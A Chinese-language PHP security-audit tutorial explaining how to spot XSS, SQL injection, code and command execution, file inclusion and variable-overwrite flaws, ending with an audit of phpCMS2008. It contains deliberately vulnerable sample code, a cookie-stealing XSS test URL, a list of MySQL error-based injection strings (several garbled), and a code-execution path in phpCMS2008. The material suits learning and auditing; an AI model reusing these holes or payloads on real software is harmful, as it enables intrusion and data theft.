前言
php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。
1、环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建
审计环境 windows环境(windows7+Apache+MySQL+php)
phpstudy(任何php集成开发环境都可以,),notepad++, seay源代码审计系统
审计环境 linux环境(Apache+MySQL+php)
我用的是kail linux apache与mysql已经集成在linux上了,只需要安装php环境即可
apt-get install php5 php-pear
service apache2 start
service mysql start
2、xss审计
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。
反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。
测试代码如下(简单的说一下原理):
存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。
测试代码如下
<?php
mysql_connect('localhost','root','root');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['submit'])){
$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `xss` (`id` ,`title`,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}
}else{
$sql="select * from xss";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo$rows['id'].$rows['title'].$rows['con']."<br>";
}
}
}
?>
<html>
<form action="?action=insert"method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit"name="submit" value="提交">
<form>
</html>
基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。简单的写一个脚本让大家看一下。
<HTML>
<TITLE>DOM base xss !</TITLE>
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
.................
</HTML>
http://127.0.0.1/xss.html?name=<script>alert(document.cookie)</script>
3、sql注入审计:
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。写一个简单的sql漏洞。
<?php
$conn =mysql_connect('localhost','root','root');
mysql_select_db("test",$conn);
$uid = $_GET['id'];
$sql = " select * from user where id =$uid";
$result = mysql_query ($sql,$conn);
print_r(mysql_fetch_row($result));
?>
在实际环境中程序员永远不会写这样的代码,一般都会用addslashes()等过滤函数对从web传递过来的参数进行过滤,但是如果在php链接mysql的时候,设置了“set character_set_clinet=gbk”就会出现一个编码转换的问题,也就是能产生宽字节注入。character_set_client变量就是作为客户端发送的查询中使用的字符集。简单来说%df’会被过滤函数转义为%df\’ ,%df\’= %df%5c%27 在使用gbk编码的时候会认为%df%5c是一个宽字节%df%5c%27=縗’,这样就会产生注入。咋们把上面那个普通注入改改,让他变成宽字节注入。
<?php
$conn =mysql_connect('localhost','root','root');
mysql_select_db("test",$conn);
mysql_query("set NAMES'gbk'",$conn);
$uid = addslashes($_GET['id']);
$sql = " select * from user where id =$uid";
$result = mysql_query ($sql,$conn);
print_r(mysql_fetch_row($result));
?>
4、sql报错注入的12个函数及sql注入语句:
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
join报错注入(剩下的就不贴图了,已经测试啦);
5、代码执行审计:
代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。写一个简单的审计测试代码方便理解,如下
<?php
if(isset($_GET['id'])){
$id=$_GET['id'];
eval("\$id = $id;");
}
?>
6、命令执行审计:
代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();反引号也是可以执行的,因为他调用了shell_exec这个函数。我们写段代码看一下
这种的命令执行要好找一些,通过函数追踪参数,再通过参数来执行,还有可以通过bash破壳来执行,大牛有文章,我就不献丑了,链接如下:
http://www.freebuf.com/articles/system/50065.html
7、文件上传,文件包含漏洞:
文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行,这里就不多说了。
文件包含有这么两种:本地包含和远程包含。审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。写一段代码测试一下
首先我们创建一个test.php
<?php
$uid=$_GET['id'];
include(ROOT.$uid.'.php');
?>
再在同目录下创建test1.php
<?php
phpinfo();
?>
再来说说远程包含,远程包含需要设置 allow_uel_include =On,而且可以http,https,ftp都包含进去,不过实际上这个漏洞太少,很多时候都是代理直接把文件代过来,不审计的时候咋一看还以为是。。。。。。上代码说吧
<?php
include($_GET['id']) //这id直接写url就可以包含
?>
8、变量覆盖
大概有两种情况,第一种register_globals,第二种人为变量覆盖,register_globals= On 的时候,传递过来的值会被直接设置为全局变量使用,而Off的时候,我们需要到特定的数组里去得到它。另一种就是人为变量覆盖,写一段代码看看。
<?php
$id = '0';
extract($_GET);
if($id==1){
echo "private!";
}else{
echo "public!";
}
?>
备注:register_globals php4 默认开启 php5 默认关闭
9、实战:phpCMS2008
首先先找找配置文件环境变量这些,在/include/common.inc.php文件中突然发现
发现$_SERVER 变量,这个变量不收GPC的保护,ctrl + f 全文找找,在c.php发现这么一些语句
这个地方没有过滤,直接饮用HTTP_REFERER变量,很开心,继续给下看,发现进行了数据库操作,$db->insert($table, $info); 这不就是注入了吗?在referer处注入即可;
继续审,
在\phpcms\yp\product.php下突然发现这个函数urlencode($areaname),这个函数转换areaname为16进制,猜测一下,解码肯定使用urdecode()解码,看一下,这个参数与数据库没有交互,但是在分页时输入了areaname,尝试成功xss
继续,在areaname拼接$urlrule变量的时候,
$urlrule="$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order.html|$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order-\$page.html";
我们发现不仅仅把areaname参数带入,还将pagesize参数带入模板的html,执行进入到get函数处理中,最后经过get->pages->pageurl函数,最终触发pageurl的如下代 码:eval(“”$url= “”$urlrule”";”);在这里,这里将拼接的urlrule进行执行,我们就可以将pagesize参数替代我们想要执行的任意php代码。如下图
咋们继续给下看,大胖又找到了这个\phpcms\wap\index.php
为了方便测试,在目录下写入test.php <?php phpinfo();?>
phpcms2008完美完成了代码审计的时候的xss, sql注入,代码执行审计,本地包含这一堆漏洞,说实话,大胖也没想到一个cms基本实现php审计实战大部分内容。
不用mysqli和pdo prepare statements和esapi xss filter的PHP程序猿,一律干掉
不用mybatis或者在mybatis配置中引入$的java程序猿,一律干掉
不用django querysets的python程序猿,一律干掉